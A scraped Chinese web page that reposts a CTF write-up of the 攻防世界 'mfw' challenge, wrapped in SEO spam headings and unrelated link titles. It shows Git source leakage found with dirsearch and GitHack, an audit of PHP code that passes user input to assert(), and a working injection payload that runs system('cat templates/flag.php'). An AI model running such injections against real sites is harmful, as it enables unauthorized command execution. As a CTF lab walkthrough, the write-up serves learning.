当前位置: 首页 > news >正文

电商网站开发商简述网站建设的基本流程

电商网站开发商,简述网站建设的基本流程,网站页面设计好了后台如何添加,中央农村工作会议2023原文背景知识 Git泄露 Githack使用 命令执行漏洞 题目 这里页面里有Git,猜测是Git泄露 先用dirsearch扫一下 确实存在.git目录,可以尝试访问一下 使用Githack来下载并恢复.git文件 这里记得使用的时候关闭杀毒软件 结果会自动保存 点进去先看一下flag这个…

背景知识

        Git泄露

        Githack使用

        命令执行漏洞

题目

 这里页面里有Git,猜测是Git泄露

先用dirsearch扫一下

确实存在.git目录,可以尝试访问一下

 使用Githack来下载并恢复.git文件

这里记得使用的时候关闭杀毒软件

结果会自动保存

 点进去先看一下flag这个文件,发现什么都没有

再看一下index.php,进行代码审计

?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}
//使用get请求方式给page传参,如果没传,默认page=home $file = "templates/" . $page . ".php";
//$file变量会接收传入的$page并且在其前面拼接templates/,在其后面拼接.php,PHP中用.来实现字符串的拼接// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//strpos() 函数会在'$file'这个字符串中进行查找,是否存在'..',当字符串里有'..',则会返回一个数(即'..'第一次出现的位置),结果为true
//与右边的false并不恒等,此时就会执行or右边的die()函数,输出 Detected hacking attempt!
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
//file_exists() 函数还会检查我们传入的page拼接后是否存在

 ​​​

 由代码审计可知,file_exists() 函数还会检查我们传入的page拼接后是否存在,在之前的githack下载文件中,templates文件夹中有四个php文件,只要传入的不是这4个,就会执行die函数,输出 That file doesn't exist!

 file_exists()函数不会对获取flag有影响

 assert()函数会将括号中的字符当成代码来执行

可以直接在第一个assert()函数处就调用cat命令来获取flag

传入的page中不能有'..',使strpos()函数返回false,和右边的false相等

payload

?page=123') or system("cat templates/flag.php");//

payload的前半段可以是存在的文件也可是不存在的文件

只需要前半段返回的是false,执行or后面的即可

在最后添加注释//,确保后面的代码不会执行

传入payload的之后,查看网页源代码可以找到flag

 参考学习链接:

攻防世界 mfw(Git源码泄露与命令执行漏洞)_mfw攻防世界_kali-Myon的博客-CSDN博客

攻防世界 mfw(Git源码泄露与命令执行漏洞)_mfw攻防世界_kali-Myon的博客-CSDN博客

http://www.mmbaike.com/news/49003.html

相关文章:

  • 天猫网站做链接怎么做国外网站推广
  • 小说网站怎么做流量吗sem是什么显微镜
  • 高端网站建设推来客网络网站流量数据分析
  • 视频网站的嵌入代码是什么今日热点事件
  • 中英文切换网站网络宣传平台有哪些
  • TP5.1做的网站首页被挂马原因淄博seo网站推广
  • 怎么做免费的网站空间谷歌的推广是怎么样的推广
  • 做外贸哪些b2b网站比较有效青岛seo青岛黑八网络最强
  • 苏州建设网站微信公众号百度广告平台电话
  • 上海城乡建设与管理委员会网站批量查询神马关键词排名
  • 网络营销相关的资源网站下载手机百度最新版
  • 做的网站手机打不开怎么回事手机网站建设案例
  • 网站建设课程论文江西优化中心
  • 视频教学网站cms手机网站智能建站
  • 公司网站一般用什么软件做如何自己做网络推广
  • 公司网站设计网络公司抖音账号权重查询
  • 网站url建设如何自己做引流推广
  • 茶叶网站建设公司seo推广思路
  • 做家电维修网站能接到单吗关键词优化系统
  • 2023最新装修效果图开封搜索引擎优化
  • 郑州 网站建设百度推广优化是什么?
  • 17网站一起做网店普宁池尾免费自建网站有哪些
  • 个人网站建设与实现毕业设计seo推广的方法
  • 珠海网站制作价格品牌推广服务
  • 自己做网站导航页搜索引擎优化与推广技术
  • 厦门app网站建设搜狗友链交换
  • 无线网站应建设在什么地方自己接单的平台
  • 太原模板建站定制网络运营是什么专业
  • 自建网站如何盈利推广网络广告
  • 市场监督局网站电子签名怎么做下载关键词推广软件